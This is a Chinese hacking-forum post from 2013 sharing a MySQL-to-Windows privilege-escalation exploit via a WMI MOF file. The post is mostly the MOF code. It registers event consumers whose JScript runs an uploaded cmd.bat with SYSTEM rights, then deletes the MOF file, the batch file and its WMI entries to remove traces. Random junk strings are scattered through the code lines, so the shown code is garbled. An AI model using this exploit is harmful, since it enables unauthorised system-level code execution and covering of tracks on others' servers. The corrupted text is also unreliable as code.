找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2308|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。; r6 O& n1 M7 m2 m& Z
需要将要运行的命令写入到bat上传到system32目录,然后执行。
9 R0 w$ R. M* A( |9 {5 X: U8 _( D  b: V2 ?' E
这个sql提权MOF需要运行 system下的文件,不能定义路径。
. U5 d- L2 P" Q需要将要运行的命令写入到bat上传到system32目录,然后执行。
9 U$ K& X8 W. T& F
8 ^" N7 Z- y8 Y4 m#pragma% E9 A# ?2 s6 ], X
                        namespace("\\\\.\\root\\cimv2")
' u9 `! }  }/ m; `' H/ U                        class
) i$ `& ]  P, P0 Y# I1 j                        MyClass5471 O* a$ i( y) S6 G4 U9 d. i% ]# I
                        {           [key]% b- o9 W+ [' |# |, x7 q
                        string
; d' u% Z! L/ S3 M& {  }9 I2 U                        Name;
( u  R( f" a5 f+ d) ~9 |' `                        };
& q$ r0 U: P( W3 M, i                        class
! X* {) _5 a& u. G( _                        ActiveScriptEventConsumer" W+ T: ^) z* G' x; U% R, s
                        : __EventConsumer {          [key]
0 o: P9 f9 s' ], B                        string0 ]7 H! J+ F0 G; \3 _& N, N: B$ P
                        Name;           [not_null]6 e4 x6 E% C! o' C! v
                        string
1 ?6 }% |( _; I+ M) ^# Y1 {                        ScriptingEngine;           string) N9 N* z* _7 I6 F' h% o
                        ScriptFileName;           [template]' e! K7 C, [, x1 Z) R- f& b
                        string
3 p& T; C/ e1 o* z- ?: {+ Y                        ScriptText;         uint32 KillTimeout;
2 k3 m3 |0 U# b9 G3 W                        }; instance of __Win32Provider as $P {/ P4 R" y$ h2 \2 y1 n
                        Name
0 u4 B6 n+ Z/ x0 y                        =- D4 p. U" c8 |
                        "ActiveScriptEventConsumer";     CLSID =5 f! ~0 G7 x' ]& a6 q3 |! s
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";" v% T" ~! R6 Q" l
                        PerUserInitialization
" \: }9 r5 j0 S# \                        = TRUE;
, U/ C% K0 Z1 B3 B  h, f1 D                        }; instance of __EventConsumerProviderRegistration {         Provider5 U* J# I( k( f8 r- N  T8 d
                        = $P;         ConsumerClassNames5 T1 {+ T5 c' `
                        =; [6 ~8 g2 u& [8 {) z
                        {"ActiveScriptEventConsumer"};
- R$ i+ X7 t+ c' a                        };: I( W( ^- H; g$ H2 i
                        Instance of ActiveScriptEventConsumer
/ u( G4 I( A4 X4 m                        as $cons {         Name7 M  X0 V7 L" ~% ^4 H6 g3 ~& {4 V
                        =
& D" i+ P/ F( M9 c3 K                        "ASEC";         ScriptingEngine
& N2 N6 s' T/ S: h( t7 R" j3 j                        =$ K) x6 _9 l. q$ r1 _
                        "JScript";         ScriptText
. l) I, F, ^* e$ y4 W1 T& Z/ y                        =$ B5 A9 t7 ~  c* \, y2 ~) W
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
3 @4 t& W5 k3 e; _6 z                        Instance of ActiveScriptEventConsumer  I, L. C% m7 ~  t: f
                        as $cons2 {         Name+ f5 v6 n" z# d* c  r
                        =
! u1 }" T1 m8 F  k2 L$ O! p7 a- Q* |9 J                        "qndASEC";         ScriptingEngine
0 j0 P6 ]! c8 ]# D6 v                        =
& {- [: f8 }; m/ ~$ B                        "JScript";         ScriptText
5 C8 [7 q; i, m+ {( X9 j2 ^8 ]                        =
/ h8 S1 `% |: z+ ]5 m% E- f                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
+ w9 D9 c3 q/ W6 J- C4 b" s                        }; instance of __EventFilter as $Filt {         Name
7 z4 C0 s8 n) F8 \) b                        =
& c/ B( v- i8 L                        "instfilt";         Query. S( c* }' W( P5 k
                        =
( e. m7 Z: l7 L$ f4 {3 E1 @+ ^                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage$ {& v5 o' _4 U4 e
                        =) m" [) y8 L' t( b2 O; p4 |
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
9 @( q4 i" y) L# i, M$ k, ?5 Z                        =# b. \' b; Z7 N3 w0 a1 o
                        "qndfilt";         Query
3 z- w. f6 K! D9 ^2 L9 Q7 h3 }2 u                        =4 c: V/ j# `. D  `7 B: J7 C
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage8 m# p6 q3 h) ?# G$ O+ g7 k
                        =
' w& x  j  C. O8 [# m6 D7 L                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer1 c4 y2 o3 l, [+ s0 L2 _
                        = $cons;         Filter3 }7 C6 F& b  M
                        = $Filt;
- q! a, D! z! s9 K# c                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
% t. f( ?3 y) E# _7 h                        = $cons2;         Filter+ E( O( q/ J+ u. J5 Z
                        = $Filt2;0 d6 l% |1 K4 B+ Y
                        }; instance of MyClass547
" o  ?" ~- X- ]0 N! ?1 |                        as $MyClass {         Name8 ]6 T+ R2 ?9 K$ `! x2 A- ~7 O! Y
                        =" N4 x( T9 v0 |+ f# ^
                        "ClassConsumer";9 I- N' Z! \2 F9 Q3 ?0 [, S! _
                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表